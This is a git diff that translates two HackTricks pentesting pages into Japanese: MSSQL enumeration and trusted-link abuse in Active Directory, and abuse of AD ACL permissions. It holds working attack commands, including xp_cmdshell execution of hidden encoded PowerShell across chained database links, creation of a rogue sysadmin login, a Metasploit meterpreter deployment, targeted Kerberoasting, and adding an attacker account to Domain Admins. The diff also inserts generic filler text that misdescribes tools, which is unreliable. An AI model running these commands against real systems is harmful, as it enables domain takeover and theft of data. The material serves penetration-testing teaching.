+☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 -## **MSSQL Enumeration / Discovery** - -The powershell module [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) is very useful in this case. +## **MSSQL列挙/検出** +この場合、PowerUpSQLというPowerShellモジュールが非常に便利です。 ```powershell Import-Module .\PowerupSQL.psd1 ``` +### ドメインセッションなしでネットワークから列挙する -### Enumerating from the network without domain session +If you have network access to an Active Directory (AD) environment but do not have a domain session, you can still perform enumeration to gather information about the AD infrastructure. This can be useful for reconnaissance purposes or when conducting a penetration test. +以下の手法を使用して、ドメインセッションなしでネットワークからActive Directory(AD)環境の情報を収集することができます。これは、偵察目的やペネトレーションテストを実施する際に役立ちます。 + +#### Enumerating SQL Server Instances + +##### MSSQLPing + +The `MSSQLPing` tool can be used to identify SQL Server instances on the network. It sends a UDP packet to port 1434 and listens for the response. This can help identify potential targets for further enumeration. + +`MSSQLPing`ツールは、ネットワーク上のSQL Serverインスタンスを特定するために使用できます。ポート1434にUDPパケットを送信し、応答を待ちます。これにより、さらなる列挙の対象となるポテンシャルなターゲットを特定することができます。 + +##### SQL Server Browser Service + +The SQL Server Browser service listens on UDP port 1434 and provides information about SQL Server instances running on the network. By querying this service, you can obtain details such as the instance name, version, and TCP port number. + +SQL Server Browserサービスは、UDPポート1434で待ち受けており、ネットワーク上で実行されているSQL Serverインスタンスに関する情報を提供します。このサービスにクエリを送信することで、インスタンス名、バージョン、およびTCPポート番号などの詳細を取得できます。 + +##### SQL Server Information Gathering + +Once you have identified SQL Server instances, you can use various techniques to gather information from them. This includes querying the `sys.databases` table to obtain a list of databases, querying the `sys.tables` table to obtain a list of tables, and querying the `sys.columns` table to obtain information about columns within a table. + +SQL Serverインスタンスを特定したら、さまざまな手法を使用して情報を収集することができます。これには、`sys.databases`テーブルにクエリを送信してデータベースの一覧を取得したり、`sys.tables`テーブルにクエリを送信してテーブルの一覧を取得したり、`sys.columns`テーブルにクエリを送信してテーブル内の列に関する情報を取得したりすることが含まれます。 + +#### Enumerating LDAP + +##### LDAP Enumeration Tools + +There are several tools available for enumerating LDAP information from the network. These tools can be used to query the AD directory and gather information about users, groups, computers, and other objects. + +ネットワークからLDAP情報を列挙するためには、いくつかのツールが利用できます。これらのツールを使用してADディレクトリにクエリを送信し、ユーザー、グループ、コンピューター、およびその他のオブジェクトに関する情報を収集することができます。 + +##### LDAP Enumeration Techniques + +Some common LDAP enumeration techniques include querying the `rootDSE` object to obtain the default naming context, querying the `userAccountControl` attribute to identify disabled accounts, and querying the `memberOf` attribute to identify group memberships. + +一般的なLDAP列挙の手法には、デフォルトの名前付けコンテキストを取得するために`rootDSE`オブジェクトにクエリを送信する方法、無効なアカウントを特定するために`userAccountControl`属性にクエリを送信する方法、およびグループのメンバーシップを特定するために`memberOf`属性にクエリを送信する方法があります。 + +##### LDAP Enumeration Scripts + +There are also various scripts available that automate the LDAP enumeration process. These scripts can be useful for quickly gathering information about the AD environment. + +LDAP列挙プロセスを自動化するさまざまなスクリプトも利用できます。これらのスクリプトは、AD環境に関する情報を迅速に収集するのに役立ちます。 + +#### Enumerating SMB + +##### SMB Enumeration Tools + +Several tools can be used to enumerate SMB information from the network. These tools can be used to query SMB shares, gather information about file systems, and identify potential vulnerabilities. + +ネットワークからSMB情報を列挙するためには、いくつかのツールが利用できます。これらのツールを使用してSMB共有にクエリを送信し、ファイルシステムに関する情報を収集し、潜在的な脆弱性を特定することができます。 + +##### SMB Enumeration Techniques + +Some common SMB enumeration techniques include querying the `net share` command to obtain a list of shared resources, querying the `net view` command to obtain a list of available servers, and querying the `smbclient` command to interact with SMB shares. + +一般的なSMB列挙の手法には、共有リソースの一覧を取得するために`net share`コマンドにクエリを送信する方法、利用可能なサーバーの一覧を取得するために`net view`コマンドにクエリを送信する方法、およびSMB共有との対話のために`smbclient`コマンドにクエリを送信する方法があります。 + +##### SMB Enumeration Scripts + +There are also scripts available that automate the SMB enumeration process. These scripts can be used to quickly gather information about SMB shares and identify potential vulnerabilities. + +SMB列挙プロセスを自動化するスクリプトも利用できます。これらのスクリプトを使用して、SMB共有に関する情報を迅速に収集し、潜在的な脆弱性を特定することができます。 ```powershell # Get local MSSQL instance (if any) Get-SQLInstanceLocal @@ -35,9 +96,33 @@ Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads #The discovered MSSQL servers must be on the file: C:\temp\instances.txt Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test ``` +### ドメイン内からの列挙 -### Enumerating from inside the domain +When conducting a penetration test or security assessment, it is important to gather as much information as possible about the target Active Directory (AD) environment. Enumerating from inside the domain allows for a deeper understanding of the AD infrastructure and potential vulnerabilities that can be exploited. +以下の手法を使用して、ドメイン内からの列挙を行います。 + +#### 1. Active Directory Enumeration + +Active Directory enumeration involves gathering information about the AD domain, including users, groups, computers, and other objects. This can be done using various tools such as `net` commands, PowerShell scripts, or specialized enumeration tools like `BloodHound`. + +#### 2. Service Principal Name (SPN) Enumeration + +Service Principal Names (SPNs) are used to uniquely identify services running on computers in a domain. Enumerating SPNs can provide valuable information about the services available in the AD environment. Tools like `setspn` can be used to enumerate SPNs. + +#### 3. SQL Server Enumeration + +If SQL Server is running in the AD environment, enumerating SQL Server instances can provide additional attack vectors. Tools like `sqlcmd` or `mssql-cli` can be used to connect to SQL Server and gather information about databases, users, and other objects. + +#### 4. LDAP Enumeration + +LDAP (Lightweight Directory Access Protocol) enumeration involves querying the AD directory for information about users, groups, and other objects. Tools like `ldapsearch` or `ADExplorer` can be used to perform LDAP enumeration. + +#### 5. SMB Enumeration + +SMB (Server Message Block) enumeration involves gathering information about shared resources, such as file shares and printers, in the AD environment. Tools like `smbclient` or `enum4linux` can be used to enumerate SMB shares. + +By enumerating from inside the domain, an attacker can gain valuable insights into the AD environment and identify potential vulnerabilities that can be exploited to further compromise the network. ```powershell # Get local MSSQL instance (if any) Get-SQLInstanceLocal @@ -45,7 +130,7 @@ Get-SQLInstanceLocal | Get-SQLServerInfo #Get info about valid MSQL instances running in domain #This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance) -Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose +Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose #Test connections with each one Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose @@ -56,11 +141,23 @@ Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose # Get DBs, test connections and get info in oneliner Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo ``` +## MSSQLの基本的な悪用 -## MSSQL Basic Abuse +### データベースへのアクセス -### Access DB +MSSQLデータベースへのアクセスを得るために、以下の手法を使用することができます。 +1. デフォルトのユーザー名とパスワードを使用する: MSSQLでは、デフォルトのユーザー名とパスワードが設定されている場合があります。これらの情報を使用してログインを試みることができます。 + +2. SQLインジェクションを利用する: アプリケーションがMSSQLデータベースに対してSQLクエリを実行する際に、不正な入力を注入することでデータベースにアクセスすることができます。 + +3. データベースの認証情報を盗む: サーバー上のファイルや設定からデータベースの認証情報を盗むことができます。これには、構成ファイルやログファイルの調査が含まれます。 + +4. データベースの脆弱性を悪用する: MSSQLデータベースには、脆弱性が存在する場合があります。これらの脆弱性を悪用してデータベースにアクセスすることができます。 + +5. データベースのバックアップファイルを利用する: バックアップファイルには、データベースへのアクセスに必要な情報が含まれている場合があります。これらのバックアップファイルを利用してデータベースにアクセスすることができます。 + +以上の手法を使用して、MSSQLデータベースへのアクセスを得ることができます。ただし、これらの手法は合法的な目的のためにのみ使用されるべきです。 ```powershell #Perform a SQL query Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername" @@ -72,32 +169,26 @@ Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql" ## This won't use trusted SQL links Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "password" -SampleSize 5 | select instance, database, column, sample | ft -autosize ``` - ### MSSQL RCE -It might be also possible to **execute commands** inside the MSSQL host - +MSSQLホスト内で**コマンドを実行**することも可能かもしれません。 ```powershell Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults # Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary ``` - -Check in the page mentioned in the **following section how to do this manually.** - -### MSSQL Basic Hacking Tricks +### MSSQL基本的なハッキングトリック {% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %} [pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/) {% endcontent-ref %} -## MSSQL Trusted Links +## MSSQL信頼されたリンク -If a MSSQL instance is trusted (database link) by a different MSSQL instance. If the user has privileges over the trusted database, he is going to be able to **use the trust relationship to execute queries also in the other instance**. This trusts can be chained and at some point the user might be able to find some misconfigured database where he can execute commands. +もしMSSQLインスタンスが別のMSSQLインスタンスによって信頼されている場合、ユーザーが信頼されたデータベースに特権を持っている場合、彼は**他のインスタンスでもクエリを実行するための信頼関係を利用することができます**。この信頼関係はチェーン化されることがあり、ユーザーはいくつかの設定ミスのあるデータベースを見つけることができるかもしれません。 -**The links between databases work even across forest trusts.** - -### Powershell Abuse +**データベース間のリンクはフォレストトラストを超えても機能します。** +### Powershellの悪用 ```powershell #Look for MSSQL links of an accessible instance Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0 @@ -129,53 +220,45 @@ Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_c ## If you see the results of @@selectname, it worked Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');' ``` - ### Metasploit -You can easily check for trusted links using metasploit. - +Metasploitを使用して、信頼できるリンクを簡単にチェックすることができます。 ```bash #Set username, password, windows auth (if using AD), IP... msf> use exploit/windows/mssql/mssql_linkcrawler [msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session ``` +metasploitはMSSQLで`openquery()`関数のみを悪用しようとします(したがって、`openquery()`でコマンドを実行できない場合は、コマンドを実行するために`EXECUTE`メソッドを**手動で**試す必要があります。詳細は以下を参照してください。) -Notice that metasploit will try to abuse only the `openquery()` function in MSSQL (so, if you can't execute command with `openquery()` you will need to try the `EXECUTE` method **manually** to execute commands, see more below.) +### 手動 - Openquery() -### Manual - Openquery() +**Linux**からは、**sqsh**と**mssqlclient.py**を使用してMSSQLコンソールシェルを取得できます。 -From **Linux** you could obtain a MSSQL console shell with **sqsh** and **mssqlclient.py.** +**Windows**からは、[**HeidiSQL**](https://www.heidisql.com)のような**MSSQLクライアント**を使用して、リンクを見つけてコマンドを手動で実行することもできます。 -From **Windows** you could also find the links and execute commands manually using a **MSSQL client like** [**HeidiSQL**](https://www.heidisql.com) - -_Login using Windows authentication:_ +_Windows認証を使用してログイン:_ ![](<../../.gitbook/assets/image (167) (1).png>) -#### Find Trustable Links - +#### 信頼できるリンクの検索 ```sql select * from master..sysservers ``` - ![](<../../.gitbook/assets/image (168).png>) -#### Execute queries in trustable link - -Execute queries through the link (example: find more links in the new accessible instance): +#### 信頼できるリンクでクエリを実行する +リンクを介してクエリを実行します(例:新しいアクセス可能なインスタンスでさらにリンクを見つける)。 ```sql select * from openquery("dcorp-sql1", 'select * from master..sysservers') ``` - {% hint style="warning" %} -Check where double and single quotes are used, it's important to use them that way. +ダブルクォーテーションとシングルクォーテーションが使用されている場所を確認してください。その方法で使用することが重要です。 {% endhint %} ![](<../../.gitbook/assets/image (169).png>) -You can continue these trusted links chain forever manually. - +これらの信頼されたリンクチェーンは手動で永遠に続けることができます。 ```sql # First level RCE SELECT * FROM OPENQUERY("", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''') @@ -183,35 +266,32 @@ SELECT * FROM OPENQUERY("", 'select @@servername; exec xp_cmdshell ''p # Second level RCE SELECT * FROM OPENQUERY("", 'select * from openquery("", ''select @@servername; exec xp_cmdshell ''''powershell -enc blah'''''')') ``` +もし`openquery()`から`exec xp_cmdshell`のようなアクションを実行できない場合は、`EXECUTE`メソッドを使用してみてください。 -If you cannot perform actions like `exec xp_cmdshell` from `openquery()` try with the `EXECUTE` method. - -### Manual - EXECUTE - -You can also abuse trusted links using `EXECUTE`: +### マニュアル - EXECUTE +`EXECUTE`を使用して、信頼されたリンクを悪用することもできます。 ```bash #Create user and give admin privileges EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2" EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2" ``` +## ローカル特権昇格 -## Local Privilege Escalation +**MSSQLローカルユーザー**は通常、**`SeImpersonatePrivilege`**と呼ばれる特別な特権を持っています。これにより、アカウントは「認証後にクライアントをなりすます」ことができます。 -The **MSSQL local user** usually has a special type of privilege called **`SeImpersonatePrivilege`**. This allows the account to "impersonate a client after authentication". +多くの著者が考案した戦略は、システムサービスを強制して、攻撃者が作成した不正なサービスまたは中間者サービスに認証させることです。この不正なサービスは、システムサービスが認証しようとしている間に、システムサービスをなりすますことができます。 -A strategy that many authors have come up with is to force a SYSTEM service to authenticate to a rogue or man-in-the-middle service that the attacker creates. This rogue service is then able to impersonate the SYSTEM service whilst it's trying to authenticate. - -[SweetPotato](https://github.com/CCob/SweetPotato) has a collection of these various techniques which can be executed via Beacon's `execute-assembly` command. +[SweetPotato](https://github.com/CCob/SweetPotato)には、これらのさまざまなテクニックが収集されており、Beaconの`execute-assembly`コマンドを介して実行することができます。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
diff --git a/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md b/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md index 6f81384a6..8261196e4 100644 --- a/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md +++ b/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md @@ -1,106 +1,97 @@ -# Abusing Active Directory ACLs/ACEs +# Active Directory ACL/ACEの悪用
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## Context +## コンテキスト -This lab is to abuse weak permissions of Active Directory Discretionary Access Control Lists (DACLs) and Acccess Control Entries (ACEs) that make up DACLs. +このラボでは、Active DirectoryのDiscretionary Access Control Lists(DACL)およびAccess Control Entries(ACE)の弱い権限を悪用します。 -Active Directory objects such as users and groups are securable objects and DACL/ACEs define who can read/modify those objects (i.e change account name, reset password, etc). +ユーザーやグループなどのActive Directoryオブジェクトは、セキュリティ可能なオブジェクトであり、DACL/ACEはそれらのオブジェクトを読み取り/変更できるユーザーを定義します(例:アカウント名の変更、パスワードのリセットなど)。 -An example of ACEs for the "Domain Admins" securable object can be seen here: +「Domain Admins」セキュリティオブジェクトのACEの例は次のとおりです: ![](../../../.gitbook/assets/1.png) -Some of the Active Directory object permissions and types that we as attackers are interested in: +攻撃者として興味があるいくつかのActive Directoryオブジェクトの権限とタイプ: -* **GenericAll** - full rights to the object (add users to a group or reset user's password) -* **GenericWrite** - update object's attributes (i.e logon script) -* **WriteOwner** - change object owner to attacker controlled user take over the object -* **WriteDACL** - modify object's ACEs and give attacker full control right over the object -* **AllExtendedRights** - ability to add user to a group or reset password -* **ForceChangePassword** - ability to change user's password -* **Self (Self-Membership)** - ability to add yourself to a group +* **GenericAll** - オブジェクトへの完全なアクセス権(ユーザーをグループに追加したり、ユーザーのパスワードをリセットするなど) +* **GenericWrite** - オブジェクトの属性を更新する(ログオンスクリプトなど) +* **WriteOwner** - オブジェクトの所有者を攻撃者が制御するユーザーに変更し、オブジェクトを乗っ取る +* **WriteDACL** - オブジェクトのACEを変更し、攻撃者にオブジェクトの完全な制御権を与える +* **AllExtendedRights** - ユーザーをグループに追加したり、パスワードをリセットする機能 +* **ForceChangePassword** - ユーザーのパスワードを変更する機能 +* **Self (Self-Membership)** - 自分自身をグループに追加する機能 -In this lab, we are going to explore and try to exploit most of the above ACEs. +このラボでは、上記のACEのほとんどを探索し、悪用しようとします。 -It's worth familiarizing yourself with all of the [BloodHound edges](https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html) and as many Active Directory [Extended Rights](https://learn.microsoft.com/en-us/windows/win32/adschema/extended-rights) as possible as you never know when you may encounter a less common one during an assessment. +評価中に一般的でないものに遭遇する可能性があるため、[BloodHoundのエッジ](https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html)とActive Directoryの[拡張権限](https://learn.microsoft.com/en-us/windows/win32/adschema/extended-rights)をすべて把握しておくことは価値があります。 -## GenericAll on User - -Using powerview, let's check if our attacking user `spotless` has `GenericAll rights` on the AD object for the user `delegate`: +## ユーザーに対するGenericAll +powerviewを使用して、攻撃者のユーザー`spotless`がユーザー`delegate`のADオブジェクトに対して`GenericAll権限`を持っているかどうかを確認しましょう: ```csharp -Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"} +Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"} ``` - -We can see that indeed our user `spotless` has the `GenericAll` rights, effectively enabling the attacker to take over the account: +私たちは、実際にユーザー`spotless`が`GenericAll`権限を持っていることがわかります。これにより、攻撃者はアカウントを乗っ取ることができます。 ![](../../../.gitbook/assets/2.png) -* **Change password**: You could just change the password of that user with +* **パスワードの変更**: 次のコマンドを使用して、そのユーザーのパスワードを変更できます。 - ```bash - net user /domain - ``` -* **Targeted Kerberoasting**: You could make the user **kerberoastable** setting an **SPN** on the account, kerberoast it and attempt to crack offline: +```bash +net user /domain +``` +* **ターゲット指定のKerberoasting**: アカウントに**SPN**を設定し、ユーザーを**kerberoastable**にすることができます。その後、オフラインでクラックを試みることができます。 - ```powershell - # Set SPN - Set-DomainObject -Credential $creds -Identity -Set @{serviceprincipalname="fake/NOTHING"} - # Get Hash - .\Rubeus.exe kerberoast /user: /nowrap - # Clean SPN - Set-DomainObject -Credential $creds -Identity -Clear serviceprincipalname -Verbose +```powershell +# SPNの設定 +Set-DomainObject -Credential $creds -Identity -Set @{serviceprincipalname="fake/NOTHING"} +# ハッシュの取得 +.\Rubeus.exe kerberoast /user: /nowrap +# SPNのクリーンアップ +Set-DomainObject -Credential $creds -Identity -Clear serviceprincipalname -Verbose - # You can also use the tool https://github.com/ShutdownRepo/targetedKerberoast - # to get hashes of one or all the users - python3 targetedKerberoast.py -domain.local -u -p password -v - ``` -* **Targeted ASREPRoasting**: You could make the user **ASREPRoastable** by **disabling** **preauthentication** and then ASREProast it. +# または、ツールhttps://github.com/ShutdownRepo/targetedKerberoastを使用して、 +# 1つまたはすべてのユーザーのハッシュを取得することもできます +python3 targetedKerberoast.py -domain.local -u -p password -v +``` +* **ターゲット指定のASREPRoasting**: **事前認証**を**無効化**して、ユーザーを**ASREPRoastable**にすることができます。その後、ASREProastを実行します。 - ```powershell - Set-DomainObject -Identity -XOR @{UserAccountControl=4194304} - ``` +```powershell +Set-DomainObject -Identity -XOR @{UserAccountControl=4194304} +``` -## GenericAll on Group - -Let's see if `Domain admins` group has any weak permissions. First of, let's get its `distinguishedName`: +## グループのGenericAll +`Domain admins`グループに弱い権限があるかどうかを確認しましょう。まず、`distinguishedName`を取得しましょう。 ```csharp Get-NetGroup "domain admins" -FullData ``` - ![](../../../.gitbook/assets/4.png) - ```csharp - Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local"} +Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local"} ``` - -We can see that our attacking user `spotless` has `GenericAll` rights once again: +私たちの攻撃ユーザー`spotless`が再び`GenericAll`権限を持っていることがわかります: ![](../../../.gitbook/assets/5.png) -Effectively, this allows us to add ourselves (the user `spotless`) to the `Domain Admin` group: - +これにより、私たちは(ユーザー`spotless`として)`Domain Admin`グループに自分自身を追加することができます: ```csharp net group "domain admins" spotless /add /domain ``` - ![](../../../.gitbook/assets/6.gif) -Same could be achieved with Active Directory or PowerSploit module: - +同じことはActive DirectoryまたはPowerSploitモジュールでも実現できます: ```csharp # with active directory module Add-ADGroupMember -Identity "domain admins" -Members spotless @@ -108,157 +99,142 @@ Add-ADGroupMember -Identity "domain admins" -Members spotless # with Powersploit Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local" ``` - ## GenericAll / GenericWrite / Write on Computer/User -* If you have these privileges on a **Computer object**, you can pull [Kerberos **Resource-based Constrained Delegation**: Computer Object Take Over](../resource-based-constrained-delegation.md) off. -* If you have these privs over a user, you can use one of the [first methods explained in this page](./#genericall-on-user). -* Or, either you have it in a Computer or a user you can use **Shadow Credentials** to impersonate it: +* もし、あなたが**コンピュータオブジェクト**にこれらの特権を持っている場合、[Kerberos **リソースベースの制約付き委任**: コンピュータオブジェクトの乗っ取り](../resource-based-constrained-delegation.md)を実行することができます。 +* もし、あなたがユーザーにこれらの特権を持っている場合、[このページで説明されている最初の方法](./#genericall-on-user)のいずれかを使用することができます。 +* または、コンピュータまたはユーザーのいずれかにこれらの特権がある場合、**シャドウクレデンシャル**を使用してそれをなりすますことができます: {% content-ref url="shadow-credentials.md" %} [shadow-credentials.md](shadow-credentials.md) {% endcontent-ref %} -## WriteProperty on Group +## グループへのWriteProperty -If our controlled user has `WriteProperty` right on `All` objects for `Domain Admin` group: +制御されたユーザーが`Domain Admin`グループの`All`オブジェクトに対して`WriteProperty`権限を持っている場合: ![](../../../.gitbook/assets/7.png) -We can again add ourselves to the `Domain Admins` group and escalate privileges: - +私たちは再び自分自身を`Domain Admins`グループに追加し、特権を昇格させることができます。 ```csharp net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain ``` - ![](../../../.gitbook/assets/8.png) -## Self (Self-Membership) on Group +## グループへの自己(自己メンバーシップ)の追加 -Another privilege that enables the attacker adding themselves to a group: +攻撃者が自分自身をグループに追加することを可能にする別の特権: ![](../../../.gitbook/assets/9.png) - ```csharp net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain ``` - ![](../../../.gitbook/assets/10.png) -## WriteProperty (Self-Membership) - -One more privilege that enables the attacker adding themselves to a group: +## WriteProperty(自己メンバーシップ) +攻撃者が自分自身をグループに追加することを可能にするもう1つの特権です。 ```csharp Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"} ``` - ![](../../../.gitbook/assets/11.png) - ```csharp net group "domain admins" spotless /add /domain ``` - ![](../../../.gitbook/assets/12.png) ## **ForceChangePassword** -If we have `ExtendedRight` on `User-Force-Change-Password` object type, we can reset the user's password without knowing their current password: - +`User-Force-Change-Password`オブジェクトタイプの`ExtendedRight`を持っている場合、現在のパスワードを知らずにユーザーのパスワードをリセットすることができます。 